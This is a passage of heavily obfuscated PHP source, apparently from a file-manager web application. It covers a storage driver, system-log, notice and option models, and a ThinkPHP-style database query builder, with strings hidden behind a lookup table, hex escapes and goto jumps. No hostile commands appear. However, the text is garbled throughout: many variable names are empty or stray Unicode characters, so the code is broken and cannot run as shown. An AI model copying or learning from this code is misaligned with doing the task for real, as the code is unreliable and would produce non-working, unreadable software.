$_SERVER[ʇ][590], $); } private function copyMove($, $¯, $, $, $ = false) { $酱 =& $_SERVER[ʇ]; $ = $¯; $ؒ = IO::driverMake($¯); if ($ؒ->pathParse[$酱[1198]]) { $¯ = $ؒ->pathParse[$酱[1198]]; } else { $¯ = $; } $ = IO::copyMove($, $¯, $, $, $); $ = $this->getPathOuter($); return $; } public function pathThis($) { return get_path_this($this->pathParse[$_SERVER[ʇ][86]]); } public function pathFather($Ϡ) { return get_path_father($this->pathParse[$_SERVER[ʇ][86]]); } public function iconvSystem($􌙲) { return $􌙲; } protected function infoParse($, $ʪ = false) { $ =& $_SERVER[ʇ]; $Ƭ = $this->pathParse[$[531]][$[1222]] . $this->pathParse[$[1215]]; if ($ʪ) { $ԉ = IO::infoWithChildren($Ƭ); } else { $ԉ = IO::info($Ƭ); } $ = $this->pathParse[$[531]]; return Action($[1387])->_shareItemeParse($ԉ, $); } public function listAll($␗) { $ =& $_SERVER[ʇ]; $ȋ = IO::listAll($␗); $՚ = rtrim($this->pathParse[$[531]][$[1222]], $[8]); foreach ($ȋ as &$޺) { $޺[$[86]] = $this->pathDriver . $[8] . ltrim(substr($޺[$[86]], strlen($՚)), $[8]); } unset($޺); return $ȋ; } public function listAllSimple($, $ = false) { $ =& $_SERVER[ʇ]; $ = $this->listAll($); $Ą = $this->pathParse[$[465]]; if (trim($Ą, $[8]) == trim(get_path_father($Ą), $[8])) { $ = !0; } return IO::init($[12])->listAllSimpleMake($, $Ą, $); } public function getPathOuter($) { $ڳ =& $_SERVER[ʇ]; $ć = KodIO::parse($); if ($ć[$ڳ[33]] == KodIO::KOD_SHARE_ITEM) { return $ć[$ڳ[86]]; } $ = KodIO::clear($); $ = KodIO::clear($this->pathParse[$ڳ[531]][$ڳ[1222]]); $ԅļ = substr($, strlen($)); if (substr($, 0, strlen($)) != $) { return !1; } return $this->pathParse[$ڳ[1216]] . $ڳ[8] . ltrim($ԅļ, $ڳ[8]); } public function getType() { $ϥ =& $_SERVER[ʇ]; $ = str_replace($ϥ[76], $ϥ[12], get_class($this)); return strtolower($); } public function isTypeObject($) { return IO::isTypeObject($); } public function info($檙) { return $this->infoParse($檙); } public function infoAuth($) { return $this->infoParse($); } public function infoWithChildren($“) { return $this->infoParse($“, !0); } public function infoFull($) { return $this->infoParse($); } } goto B܌; Dʬ: define($_SERVER[ʇ][284], 1); define($_SERVER[ʇ][285], 2); define($_SERVER[ʇ][286], 3); goto A; D⿨: class SystemLogModel extends ModelBase { protected $tableName = "\x73\x79\163\164\145\x6d\x5f\x6c\157\147"; protected $dataAuto = array(array("\143\162\x65\141\x74\x65\124\151\x6d\145", "\x74\x69\x6d\x65", "\151\156\163\145\x72\164", "\x66\165\156\143\x74\x69\x6f\156")); public $typeList; function __construct() { parent::__construct(); $this->typeList = $this->typeListAll(); } public function typeListAll() { $ =& $_SERVER[ʇ]; return array($[2236] => LNG($[2237]), $[2238] => LNG($[2239]), $[1842] => LNG($[2240]), $[2241] => LNG($[2242]), $[2243] => LNG($[2244]), $[2245] => LNG($[2246]), $[2247] => LNG($[2248]), $[1872] => LNG($[2248]), $[1873] => LNG($[2249]), $[2250] => LNG($[2251]), $[2252] => LNG($[2253]), $[2254] => LNG($[2255]), $[2256] => LNG($[2257]), $[1870] => LNG($[2258]), $[2259] => LNG($[2260]), $[1877] => LNG($[2261]), $[2262] => LNG($[2263]), $[2264] => LNG($[2265]), $[2266] => LNG($[2267]), $[2268] => LNG($[2269]), $[1880] => LNG($[2270]), $[1881] => LNG($[2271]), $[2272] => LNG($[2273]), $[2274] => LNG($[2275]), $[2276] => LNG($[2277]), $[1875] => LNG($[2278]), $[2279] => LNG($[2280]), $[1874] => LNG($[2281]), $[2282] => LNG($[2283]), $[2284] => LNG($[2285]), $[2286] => LNG($[2285]), $[2287] => LNG($[2288]), $[2289] => LNG($[2289]), $[2290] => LNG($[1846]), $[2291] => LNG($[2292]), $[2293] => LNG($[2294]), $[2295] => LNG($[2296]), $[2297] => LNG($[2298]), $[2299] => LNG($[2300]), $[2301] => LNG($[2301]), $[2302] => LNG($[2303]), $[2304] => LNG($[2305]), $[2306] => LNG($[2307]), $[2308] => LNG($[2309]), $[2310] => LNG($[2311]), $[2312] => LNG($[2313])); } private function typeFile() { $ū =& $_SERVER[ʇ]; $ʍ = array($ū[1877] => array($ū[1878]), $ū[2254] => array($ū[2314]), $ū[2256] => array($ū[2315]), $ū[1870] => array($ū[1871], $ū[2316]), $ū[2264] => array(), $ū[2266] => array(), $ū[2268] => array(), $ū[1880] => array($ū[1882]), $ū[1881] => array($ū[1882]), $ū[2272] => array($ū[2317]), $ū[2274] => array($ū[2317]), $ū[2276] => array($ū[2318]), $ū[2262] => array($ū[2319]), $ū[1875] => array($ū[2320]), $ū[2279] => array($ū[2321]), $ū[1874] => array($ū[1876])); return $ʍ; } private function typeAll() { $ =& $_SERVER[ʇ]; $Ť = $this->typeList; $٪ = array_filter($this->typeFile()); foreach ($٪ as $ => $̝) { $Ť[$̝[0]] = $Ť[$]; } $Ť[$[1882]] = LNG($[2322]); $Ť[$[2317]] = LNG($[2323]); return $Ť; } public function addLog($, $䁺 = array()) { $؉ =& $_SERVER[ʇ]; if (!isset($this->typeList[$])) { return; } $Ŗɔ = isset($䁺[$؉[1701]]) ? $䁺[$؉[1701]] : 0; if (!$Ŗɔ) { $Ŗɔ = Session::get($؉[2036]); } if ($ == $؉[2291] && is_array($䁺[$؉[2324]]) && !$䁺[$؉[2324]]) { return; } $߳ = get_client_ip(); if (!$䁺 || strlen(json_encode($䁺)) >= 1024) { $䁺 = array($؉[2325] => $߳); } else { if (is_array($䁺)) { $䁺[$؉[2325]] = $߳; } else { $䁺 = array($؉[1249] => $䁺, $؉[2325] => $߳); } } $䁺 = array($؉[1691] => Session::sign(), $؉[1692] => intval($Ŗɔ), $؉[33] => $, $؉[1694] => json_encode($䁺)); parent::add($䁺); } public function remove($ߒ) { $this->where(array($_SERVER[ʇ][463] => $ߒ))->delete(); } private function _makeOrder($ = '') { $ٱ =& $_SERVER[ʇ]; $Ӫ = $ٱ[217]; $֮ = array($ٱ[493] => $ٱ[494], $ٱ[495] => $ٱ[496]); $ˌ؈ = Input::get($ٱ[501], $ٱ[7], $ٱ[2072], array($ٱ[1990], $ٱ[495])); $ˌ؈ = $֮[$ˌ؈]; $ = $ . "{$Ӫ}\40{$ˌ؈}"; return $this->order($); } public function get($ = '') { $ݘ =& $_SERVER[ʇ]; if (!$) { show_json(array()); } $؍ = array(); if ($[$ݘ[1701]]) { $؍[$ݘ[1701]] = $[$ݘ[1701]]; } if (isset($[$ݘ[799]])) { $Փ = $[$ݘ[799]]; $םӿ = isset($[$ݘ[800]]) ? $[$ݘ[800]] : time(); $؍[$ݘ[217]] = array($ݘ[379], array($Փ, $םӿ)); } if ($[$ݘ[33]]) { $þ = explode($ݘ[50], $[$ݘ[33]]); $ީ = $this->typeFile(); $淣 = array(); foreach ($þ as $֣) { $淣[] = $֣; if (isset($ީ[$֣])) { $淣 = array_merge($淣, $ީ[$֣]); } } $淣 = array_unique($淣); if ($淣) { $؍[$ݘ[33]] = array($ݘ[7], $淣); } } else { $؍[$ݘ[33]] = array($ݘ[2326], $ݘ[2327]); } if (!empty($[$ݘ[2325]])) { $؍[$ݘ[496]] = array($ݘ[429], "\x25{$[$ݘ[2325]]}\x25"); } $ = $this->_makeOrder()->where($؍)->selectPage(); if (empty($[$ݘ[415]])) { show_json(array(), !0, $[$ݘ[412]]); } $[$ݘ[415]] = $this->logList($[$ݘ[415]]); return $; } private function ipAddress(&$ݳ) { $ɨ =& $_SERVER[ʇ]; if (!empty($ݳ[$ɨ[2325]])) { $͍ = IpLocation::get($ݳ[$ɨ[2325]]); } else { $͍ = LNG($ɨ[2328]); } $ݳ[$ɨ[2329]] = $͍; } private function descZipDownload($, &$يԶ) { $ =& $_SERVER[ʇ]; if (!isset($[$[2330]])) { return; } $뵢 = json_decode($[$[2330]], !0); foreach ($뵢 as $ڍ) { try { $ = IO::infoFullSimple($ڍ[$[86]]); } catch (Exception $) { continue; } $[$[86]] = $ڍ[$[86]]; $يԶ[] = $[$[183]] = $[$[183]]; $يԶ[] = $[$[2128]] = $[$[182]]; break; } return $; } private function getSourceList(&$) { $Ӓ =& $_SERVER[ʇ]; $έь = array(); foreach ($ as $Į => $) { $֩ = json_decode($[$Ӓ[496]], !0); if ($[$Ӓ[33]] == $Ӓ[1873]) { $֩ = $this->descZipDownload($֩, $έь); $[$Į][$Ӓ[496]] = json_encode($֩); continue; } if (strpos($[$Ӓ[33]], $Ӓ[2130]) !== 0) { if (!isset($֩[$Ӓ[86]]) || strpos($[$Ӓ[33]], $Ӓ[2331]) !== 0) { continue; } try { $ = IO::infoFullSimple($֩[$Ӓ[86]]); } catch (Exception $ů°) { continue; } $έь[] = $֩[$Ӓ[183]] = $[$Ӓ[183]]; $έь[] = $֩[$Ӓ[2128]] = $[$Ӓ[182]]; $[$Į][$Ӓ[496]] = json_encode($֩); continue; } $έь[] = $֩[$Ӓ[183]]; $έь[] = $֩[$Ӓ[2128]]; if ($֩[$Ӓ[33]] == $Ӓ[590]) { $έь[] = $֩[$Ӓ[496]][$Ӓ[1207]]; $έь[] = $֩[$Ӓ[496]][$Ӓ[1208]]; } if ($֩[$Ӓ[33]] == $Ӓ[2138]) { $έь[] = $֩[$Ӓ[496]][$Ӓ[183]]; } } if (!$έь) { return array(); } return Model($Ӓ[871])->sourceListInfo($έь, !0); } private function logList($) { $̒ =& $_SERVER[ʇ]; $ݨ = array_to_keyvalue($, $̒[12], $̒[1701]); $ = Model($̒[569])->userListInfo(array_unique($ݨ)); $Ëׇ = $this->getSourceList($); $Ŷ = $this->typeAll(); $낔 = array(); $ = array(); foreach ($ as $֜ => $͖) { $􇺙 = $͖[$̒[33]]; $㛇 = isset($[$͖[$̒[1701]]]) ? $[$͖[$̒[1701]]] : !1; $ޚҠ = strpos($􇺙, $̒[2332]) === 0 ? LNG($̒[2333]) : LNG($̒[2328]); $͖[$̒[32]] = isset($㛇[$̒[32]]) ? $㛇[$̒[32]] : LNG($̒[2328]); $͖[$̒[2182]] = isset($㛇[$̒[2182]]) ? $㛇[$̒[2182]] : $̒[12]; $͖[$̒[1591]] = isset($Ŷ[$􇺙]) ? $Ŷ[$􇺙] : $ޚҠ; $͖[$̒[2071]] = $㛇; $ = json_decode($͖[$̒[496]], !0); $͖[$̒[2325]] = isset($[$̒[2325]]) ? $[$̒[2325]] : $̒[12]; $͖[$̒[2329]] = IpLocation::get($͖[$̒[2325]]); if (strpos($􇺙, $̒[2130]) === 0 || isset($[$̒[2128]])) { $[$̒[89]] = $Ëׇ[$[$̒[183]]]; $[$̒[2143]] = $Ëׇ[$[$̒[2128]]]; if ($[$̒[33]] == $̒[590]) { $[$̒[496]][$̒[1207]] = $Ëׇ[$[$̒[496]][$̒[1207]]]; $[$̒[496]][$̒[1208]] = $Ëׇ[$[$̒[496]][$̒[1208]]]; } if ($[$̒[33]] == $̒[2138]) { $[$̒[496]][$̒[183]] = $Ëׇ[$[$̒[496]][$̒[183]]]; } if ($[$̒[33]] == $̒[1868]) { $[$̒[2143]] = $[$̒[89]]; $[$̒[2128]] = $[$̒[2143]][$̒[183]]; $[$̒[89]] = !1; $[$̒[183]] = $̒[12]; } if ($[$̒[89]] && $[$̒[89]][$̒[180]] == $̒[181]) { $[] = $͖[$̒[445]]; unset($[$֜]); continue; } if ($[$̒[2143]] && $[$̒[2143]][$̒[180]] == $̒[181]) { $[] = $͖[$̒[445]]; unset($[$֜]); continue; } } $͖[$̒[496]] = $; unset($͖[$̒[2334]]); $낔[] = $͖; } $this->clearSystemPathLog($); return $낔; } private function clearSystemPathLog($) { $ѿ =& $_SERVER[ʇ]; if (count($) == 0) { return; } $ = array($ѿ[445] => array($ѿ[7], array_unique($))); $this->where($)->delete(); } public function deviceList($, $坧 = 0) { $ =& $_SERVER[ʇ]; $։ = array($[1701] => $, $[217] => array($[1061], $坧), $[33] => $[1842]); $խ = array(); $ = $this->field($[2335])->where($։)->order($[2141])->limit(50)->select(); foreach ($ as $ => $򇦓) { if ($ > 0 && abs($򇦓[$[217]] - $[$ - 1][$[217]]) < 5) { continue; } $ij = json_decode($򇦓[$[496]], !0); $򇦓[$[2325]] = isset($ij[$[2325]]) ? $ij[$[2325]] : $[12]; unset($ij[$[2325]]); $ = $this->deviceType($ij[$[2131]]); if (isset($խ[$])) { continue; } $򇦓[$[2329]] = IpLocation::get($򇦓[$[2325]]); $򇦓[$[496]] = $ij; $խ[$] = $򇦓; } return array_values($խ); } public function deviceType($) { return $; } } class SystemNoticeModel extends ModelBaseLight { public $optionType = "\123\x79\x73\164\145\x6d\56\x6e\x6f\164\151\143\x65\114\151\x73\x74"; public $field = array("\156\141\x6d\x65", "\143\157\x6e\x74\145\156\164", "\x61\165\164\x68", "\x6d\x6f\x64\x65", "\x74\x69\x6d\145", "\164\x79\x70\145", "\x6c\145\x76\145\x6c", "\x65\156\x61\142\x6c\x65", "\163\157\162\164"); public function listData($ö = false, $Ζ = "\x73\157\162\x74", $ = false) { return parent::listData($ö, $Ζ, $); } public function add($֮ʻ) { $ =& $_SERVER[ʇ]; $̂ߕ = time(); if ($֮ʻ[$[16]] == $[2336]) { $̂ߕ = strtotime($֮ʻ[$[196]]); } $֮ʻ[$[196]] = $̂ߕ; return parent::insert($֮ʻ); } public function update($, $) { $ =& $_SERVER[ʇ]; $ = $this->listData($); if (!$) { return !1; } $Ÿ = time(); if ($[$[16]] == $[2336]) { $Ÿ = strtotime($[$[196]]); } $[$[196]] = $Ÿ; return parent::update($, $); } public function remove($Ɩ) { $ˊ = $this->listData($Ɩ); if (!$ˊ || $ˊ[$_SERVER[ʇ][181]]) { return !1; } return parent::remove($Ɩ); } public function sort($ӱʼn, $) { return parent::update($ӱʼn, $); } public function enable($Ȗ, $ψ) { return parent::update($Ȗ, array($_SERVER[ʇ][2337] => $ψ)); } private function initUserOption() { $㊗ =& $_SERVER[ʇ]; $this->optionType = $㊗[2338]; $this->modelType = $㊗[2339]; $this->field = array($㊗[2340], $㊗[32], $㊗[196], $㊗[33], $㊗[2341], $㊗[789], $㊗[212]); } public function userNoticeGet($ = false) { $this->initUserOption(); return parent::listData($, $_SERVER[ʇ][445], !0); } public function userNoticeAdd($) { $֌ =& $_SERVER[ʇ]; $this->initUserOption(); $ʊ = $this->findByKey($֌[2340], $[$֌[445]]); if ($ʊ) { return !0; } $ƙ = array($֌[2340] => $[$֌[445]], $֌[32] => $[$֌[32]], $֌[196] => $[$֌[196]], $֌[33] => isset($[$֌[33]]) ? $[$֌[33]] : 1, $֌[2341] => isset($[$֌[2341]]) ? $[$֌[2341]] : 0, $֌[789] => 0, $֌[212] => 0); return parent::insert($ƙ); } public function userNoticeEdit($, $) { $this->initUserOption(); return parent::update($, $); } } class SystemOptionModel extends ModelBaseOption { protected $tableName = "\x73\171\x73\164\x65\x6d\x5f\x6f\x70\164\151\x6f\156"; protected $jsonField = array("\155\x65\x6e\x75", "\x72\x6f\x6c\145", "\x72\x6f\x6c\145\x47\x72\x6f\x75\x70", "\162\145\147\151\x73\x74", "\145\x6d\x61\151\x6c"); function __construct() { parent::__construct(); } protected function cacheKey($㬃) { return "\123\171\x73\164\145\155\117\160\x74\x69\x6f\156\x5f{$㬃}"; } protected function optionDefault($̏͞ = '') { $ =& $_SERVER[ʇ]; if ($̏͞ == $[12]) { return $GLOBALS[$[6]][$[427]]; } } } goto E޼θ; F: class Db { protected $dbType = null; protected $autoFree = false; protected $model = "\137\x74\x68\x69\x6e\153\x5f"; protected $pconnect = false; protected $queryStr = ''; protected $modelSql = array(); protected $lastInsID = null; protected $numRows = 0; protected $numCols = 0; protected $transTimes = 0; protected $error = ''; protected $linkID = array(); protected $_linkID = null; protected $queryID = null; protected $connected = false; protected $config = ''; protected $configLast = ''; protected $exp = array("\x65\161" => "\75", "\x6e\x65\x71" => "\74\76", "\147\164" => "\76", "\145\147\x74" => "\76\75", "\154\164" => "\74", "\145\154\x74" => "\x3c\75", "\156\157\x74\x6c\151\153\x65" => "\x4e\117\124\40\114\x49\113\x45", "\154\x69\x6b\145" => "\114\111\x4b\105", "\151\156" => "\111\x4e", "\x6e\x6f\x74\x69\156" => "\116\x4f\124\x20\x49\x4e", "\156\157\164\x20\x69\156" => "\116\x4f\x54\x20\111\116", "\142\x65\x74\x77\x65\145\x6e" => "\102\105\124\x57\x45\x45\x4e", "\x6e\157\x74\x62\145\164\167\145\145\x6e" => "\116\117\x54\x20\102\105\124\x57\x45\105\116", "\156\157\164\x20\x62\x65\164\167\145\x65\x6e" => "\116\117\124\40\102\105\x54\x57\x45\105\116"); protected $selectSql = "\123\105\114\x45\x43\x54\45\104\x49\123\x54\111\x4e\x43\x54\x25\40\45\x46\111\105\x4c\104\45\x20\x46\x52\x4f\115\x20\x25\x54\x41\102\x4c\105\x25\45\x4a\x4f\111\116\x25\x25\127\x48\105\x52\x45\45\45\107\122\x4f\x55\120\45\45\110\x41\x56\111\116\x47\45\45\117\x52\x44\105\122\x25\x25\x4c\111\x4d\111\124\45\x20\45\125\x4e\111\117\116\45\x25\103\x4f\115\115\105\x4e\124\45"; protected $bind = array(); public static function getInstance() { $ = func_get_args(); return think_get_instance_of(__CLASS__, $_SERVER[ʇ][1007], $); } public function factory($ګ = '') { $Ә =& $_SERVER[ʇ]; $ګ = $this->parseConfig($ګ); if (empty($ګ[$Ә[1008]])) { think_exception(think_lang($Ә[1009])); } $this->dbType = ucwords(strtolower($ګ[$Ә[1008]])); $ɝ = $Ә[1010] . $this->dbType; if (class_exists($ɝ)) { $ = new $ɝ($ګ); if ($Ә[1011] != strtolower($ګ[$Ә[1008]])) { $->dbType = strtoupper($this->dbType); } else { $->dbType = $this->_getDsnType($ګ[$Ә[963]]); } } else { think_exception(think_lang($Ә[1012]) . $Ә[1013] . $ɝ); } return $; } public function __call($, $) { if (method_exists($this, $)) { return call_user_func_array(array($this, $), $); } } protected function _getDsnType($) { $؜ = explode($_SERVER[ʇ][4], $); $ = strtoupper(trim($؜[0])); return $; } private function parseConfig($Ԇ = '') { $ =& $_SERVER[ʇ]; if (!empty($Ԇ) && is_string($Ԇ)) { $Ԇ = $this->parseDSN($Ԇ); } elseif (is_array($Ԇ)) { $Ԇ = array_change_key_case($Ԇ); $Ԇ = array($[1008] => $Ԇ[$[1014]], $[935] => $Ԇ[$[1015]], $[936] => $Ԇ[$[1016]], $[933] => $Ԇ[$[1017]], $[934] => $Ԇ[$[1018]], $[21] => $Ԇ[$[1019]], $[963] => $Ԇ[$[1020]], $[17] => isset($Ԇ[$[1021]]) ? $Ԇ[$[1021]] : array()); } elseif (empty($Ԇ)) { if (think_config($[1022]) && $[1011] != strtolower(think_config($[1023]))) { $Ԇ = $this->parseDSN(think_config($[1022])); } else { $Ԇ = array($[1008] => think_config($[1023]), $[935] => think_config($[1024]), $[936] => think_config($[1025]), $[933] => think_config($[1026]), $[934] => think_config($[1027]), $[21] => think_config($[292]), $[963] => think_config($[1022]), $[17] => think_config($[1028])); } } return $Ԇ; } protected function initConnect($ڿ = true) { if (1 == think_config($_SERVER[ʇ][22])) { $this->_linkID = $this->multiConnect($ڿ); } else { if ($this->config) { $this->configLast = $this->config; } } if (!$this->connected) { $this->_linkID = $this->connect(); } } protected function closeConnect() { if (!$this->connected) { return; } foreach ($this->linkID as $ => $疅) { $this->_linkID = $疅; $this->close(); } $this->linkID = array(); $this->_linkID = null; $this->connected = !1; if (!$this->config && $this->configLast) { $this->config = $this->configLast; } } protected function multiConnect($ = false) { $બ =& $_SERVER[ʇ]; static $ = array(); static $ = -1; if (empty($)) { foreach ($this->config as $㊆ => $񍘩) { $[$㊆] = explode($બ[50], $񍘩); } } if (think_config($બ[1029])) { if ($ || think_config($બ[441]) === !0) { $ = floor(mt_rand(0, think_config($બ[1030]) - 1)); $ = $; } else { if (is_numeric(think_config($બ[1031]))) { $ = think_config($બ[1031]); } else { $ = floor(mt_rand(think_config($બ[1030]), count($[$બ[933]]) - 1)); } } } else { $ = floor(mt_rand(0, count($[$બ[933]]) - 1)); $ = $; } $ = $ !== -1 ? $ : $; $ = array($બ[935] => isset($[$બ[935]][$]) ? $[$બ[935]][$] : $[$બ[935]][0], $બ[936] => isset($[$બ[936]][$]) ? $[$બ[936]][$] : $[$બ[936]][0], $બ[933] => isset($[$બ[933]][$]) ? $[$બ[933]][$] : $[$બ[933]][0], $બ[934] => isset($[$બ[934]][$]) ? $[$બ[934]][$] : $[$બ[934]][0], $બ[21] => isset($[$બ[21]][$]) ? $[$બ[21]][$] : $[$બ[21]][0], $બ[963] => isset($[$બ[963]][$]) ? $[$બ[963]][$] : $[$બ[963]][0], $બ[17] => isset($[$બ[17]][$]) ? $[$બ[17]][$] : $[$બ[17]][0]); return $this->connect($, $); } public function parseDSN($Ə) { $Ĭ =& $_SERVER[ʇ]; if (empty($Ə)) { return !1; } $צּ = parse_url($Ə); if ($צּ[$Ĭ[197]]) { $ = array($Ĭ[1008] => $צּ[$Ĭ[197]], $Ĭ[935] => isset($צּ[$Ĭ[632]]) ? $צּ[$Ĭ[632]] : $Ĭ[12], $Ĭ[936] => isset($צּ[$Ĭ[1032]]) ? $צּ[$Ĭ[1032]] : $Ĭ[12], $Ĭ[933] => isset($צּ[$Ĭ[198]]) ? $צּ[$Ĭ[198]] : $Ĭ[12], $Ĭ[934] => isset($צּ[$Ĭ[199]]) ? $צּ[$Ĭ[199]] : $Ĭ[12], $Ĭ[21] => isset($צּ[$Ĭ[86]]) ? substr($צּ[$Ĭ[86]], 1) : $Ĭ[12]); } else { preg_match($Ĭ[1033], trim($Ə), $); $ = array($Ĭ[1008] => $[1], $Ĭ[935] => $[2], $Ĭ[936] => $[3], $Ĭ[933] => $[4], $Ĭ[934] => $[5], $Ĭ[21] => $[6]); } $[$Ĭ[963]] = $Ĭ[12]; return $; } protected function debug() { $ =& $_SERVER[ʇ]; $this->modelSql[$this->model] = $this->queryStr; $this->model = $[1034]; if (think_config($[1035])) { think_status($[1036]); think_trace($this->queryStr . $[1037] . think_status($[24], $[1036], 6) . $[1038], $[12], $[1039]); } } protected function parseLock($秂 = false) { $Хܑ =& $_SERVER[ʇ]; if (!$秂) { return $Хܑ[12]; } if ($Хܑ[965] == $this->dbType) { return $Хܑ[1040]; } return $Хܑ[1041]; } protected function parseSet($䉨) { $˧ =& $_SERVER[ʇ]; foreach ($䉨 as $ => $Ĥ) { if (is_array($Ĥ) && $˧[343] == $Ĥ[0]) { $[] = $this->parseKey($) . $˧[931] . $Ĥ[1]; } elseif (is_scalar($Ĥ) || is_null($Ĥ)) { $[] = $this->parseKey($) . $˧[931] . $this->parseValue($Ĥ); } } return $˧[1042] . implode($˧[50], $); } protected function bindParam($뺙, $) { $this->bind[$_SERVER[ʇ][4] . $뺙] = $; } protected function parseBind($ã) { $ã = array_merge($this->bind, $ã); $this->bind = array(); return $ã; } function parseKey(&$, $ɛ = true) { if ($ɛ) { $ = $this->parseKeyCheck($); } return $; } function parseKeyCheck($) { $ =& $_SERVER[ʇ]; $ = trim($); if (!preg_match($[1043], $)) { think_exception($[1044] . $); } return $; } protected function parseValue($ᐿ) { $ =& $_SERVER[ʇ]; if (is_string($ᐿ)) { $ᐿ = $[1004] . $this->escapeString($ᐿ) . $[1004]; } elseif (isset($ᐿ[0]) && is_string($ᐿ[0]) && strtolower($ᐿ[0]) == $[343]) { $ᐿ = $this->escapeString($ᐿ[1]); } elseif (is_array($ᐿ)) { $ᐿ = array_map(array($this, $[1005]), $ᐿ); } elseif (is_bool($ᐿ)) { $ᐿ = $ᐿ ? $[90] : $[214]; } elseif (is_null($ᐿ)) { $ᐿ = $[105]; } return $ᐿ; } protected function parseField($ؑѪ) { $眔 =& $_SERVER[ʇ]; if (is_string($ؑѪ) && strpos($ؑѪ, $眔[50])) { $ؑѪ = explode($眔[50], $ؑѪ); } if (is_array($ؑѪ)) { $Ǒ = array(); foreach ($ؑѪ as $ݧė => $ދ) { if (!is_numeric($ݧė)) { $Ǒ[] = $this->parseKey($ݧė, !1) . $眔[1045] . $this->parseKey($ދ); } else { $Ǒ[] = $this->parseKey($ދ); } } $ = implode($眔[50], $Ǒ); } elseif (is_string($ؑѪ) && !empty($ؑѪ)) { $ = $ؑѪ; } else { $ = $眔[205]; } return $; } protected function parseTable($ԑ) { $ߓ =& $_SERVER[ʇ]; if (is_array($ԑ)) { $Β = array(); foreach ($ԑ as $ => $Ƕ) { if (!is_numeric($)) { $Β[] = $this->parseKey($) . $ߓ[53] . $this->parseKey($Ƕ); } else { $Β[] = $this->parseKey($); } } $ԑ = $Β; } elseif (is_string($ԑ)) { if (strstr($ԑ, $ߓ[53])) { return $ԑ; } $ԑ = explode($ߓ[50], $ԑ); array_walk($ԑ, array($this, $ߓ[953])); } return $ߓ[947] . trim(implode($ߓ[1046], $ԑ), $ߓ[431]) . $ߓ[947]; } protected function parseWhere($Ľߢ) { $ȯ =& $_SERVER[ʇ]; $ = $ȯ[12]; if (is_string($Ľߢ)) { $ = $Ľߢ; } else { $یѸ = isset($Ľߢ[$ȯ[1047]]) ? strtoupper($Ľߢ[$ȯ[1047]]) : $ȯ[12]; if (in_array($یѸ, array($ȯ[1048], $ȯ[1049], $ȯ[1050]))) { $یѸ = $ȯ[53] . $یѸ . $ȯ[53]; unset($Ľߢ[$ȯ[1047]]); } else { $یѸ = $ȯ[1051]; } foreach ($Ľߢ as $֑ => $) { $ .= $ȯ[323]; if (is_numeric($֑)) { $֑ = $ȯ[1052]; } if (0 === strpos($֑, $ȯ[11])) { $ .= $this->parseThinkWhere($֑, $); } else { if (!preg_match($ȯ[1053], trim($֑))) { think_exception(think_lang($ȯ[1054]) . $ȯ[4] . $֑); } $ߌ = is_array($) && isset($[$ȯ[1055]]); $֑ = trim($֑); if (strpos($֑, $ȯ[329])) { $Š = explode($ȯ[329], $֑); $ǖ = array(); foreach ($Š as $į => $Ӟ) { $ә = $ߌ ? $[$į] : $; $ǖ[] = $ȯ[306] . $this->parseWhereItem($this->parseKey($Ӟ), $ә) . $ȯ[952]; } $ .= implode($ȯ[1056], $ǖ); } elseif (strpos($֑, $ȯ[330])) { $Š = explode($ȯ[330], $֑); $ǖ = array(); foreach ($Š as $į => $Ӟ) { $ә = $ߌ ? $[$į] : $; $ǖ[] = $ȯ[306] . $this->parseWhereItem($this->parseKey($Ӟ), $ә) . $ȯ[952]; } $ .= implode($ȯ[1051], $ǖ); } else { $ .= $this->parseWhereItem($this->parseKey($֑), $); } } $ .= $ȯ[324] . $یѸ; } $ = substr($, 0, -strlen($یѸ)); } return empty($) ? $ȯ[12] : $ȯ[1057] . $; } protected function parseWhereItem($, $) { $ԕ =& $_SERVER[ʇ]; $А = $ԕ[12]; if (is_array($)) { if (is_string($[0])) { $ = strtolower($[0]); if (in_array($[0], array($ԕ[931], $ԕ[1058], $ԕ[1059], $ԕ[1060], $ԕ[1061], $ԕ[1062]))) { $А .= $ . $ԕ[53] . $[0] . $ԕ[53] . $this->parseValue($[1]); } elseif (preg_match($ԕ[1063], $[0])) { $А .= $ . $ԕ[53] . $this->exp[$] . $ԕ[53] . $this->parseValue($[1]); } elseif (preg_match($ԕ[1064], $[0])) { if (is_array($[1])) { $Ղᇨ = isset($[2]) ? strtoupper($[2]) : $ԕ[1049]; if (in_array($Ղᇨ, array($ԕ[1048], $ԕ[1049], $ԕ[1050]))) { $΀ = array(); foreach ($[1] as $) { $΀[] = $ . $ԕ[53] . $this->exp[$] . $ԕ[53] . $this->parseValue($); } $А .= $ԕ[306] . implode($ԕ[53] . $Ղᇨ . $ԕ[53], $΀) . $ԕ[952]; } } else { $А .= $ . $ԕ[53] . $this->exp[$] . $ԕ[53] . $this->parseValue($[1]); } } elseif ($ԕ[343] == $) { $А .= $ԕ[950] . $ . $ԕ[53] . $[1] . $ԕ[1065]; } elseif (preg_match($ԕ[1066], $[0])) { $А .= $[0]; } elseif (preg_match($ԕ[1067], $[0])) { if (isset($[2]) && $ԕ[343] == $[2]) { $А .= $ . $ԕ[53] . $this->exp[$] . $ԕ[53] . $[1]; } else { if (is_string($[1])) { $[1] = explode($ԕ[50], $[1]); } $ӹ = implode($ԕ[50], $this->parseValue($[1])); $А .= $ . $ԕ[53] . $this->exp[$] . $ԕ[950] . $ӹ . $ԕ[952]; } } elseif (preg_match($ԕ[1068], $[0])) { $۱ = is_string($[1]) ? explode($ԕ[50], $[1]) : $[1]; $А .= $ԕ[950] . $ . $ԕ[53] . $this->exp[$] . $ԕ[53] . $this->parseValue($۱[0]) . $ԕ[1051] . $this->parseValue($۱[1]) . $ԕ[324]; } else { think_exception(think_lang($ԕ[1054]) . $ԕ[4] . $[0]); } } else { $ȏ = count($); $δ = $ԕ[12]; if (is_string($[$ȏ - 1])) { $δ = isset($[$ȏ - 1]) ? strtoupper($[$ȏ - 1]) : $ԕ[12]; if (in_array($δ, array($ԕ[1048], $ԕ[1049], $ԕ[1050]))) { $ȏ = $ȏ - 1; } } else { $δ = $ԕ[1048]; } for ($ϒ = 0; $ϒ < $ȏ; $ϒ++) { $۱ = is_array($[$ϒ]) ? $[$ϒ][1] : $[$ϒ]; if ($ԕ[343] == strtolower($[$ϒ][0])) { $А .= $ԕ[306] . $ . $ԕ[53] . $۱ . $ԕ[1065] . $δ . $ԕ[53]; } else { $Ћ = is_array($[$ϒ]) ? $this->exp[strtolower($[$ϒ][0])] : $ԕ[931]; if (!$Ћ && is_array($[$ϒ]) && in_array($[$ϒ][0], array($ԕ[931], $ԕ[1058], $ԕ[1059], $ԕ[1060], $ԕ[1061], $ԕ[1062]))) { $Ћ = $[$ϒ][0]; } $А .= $ԕ[306] . 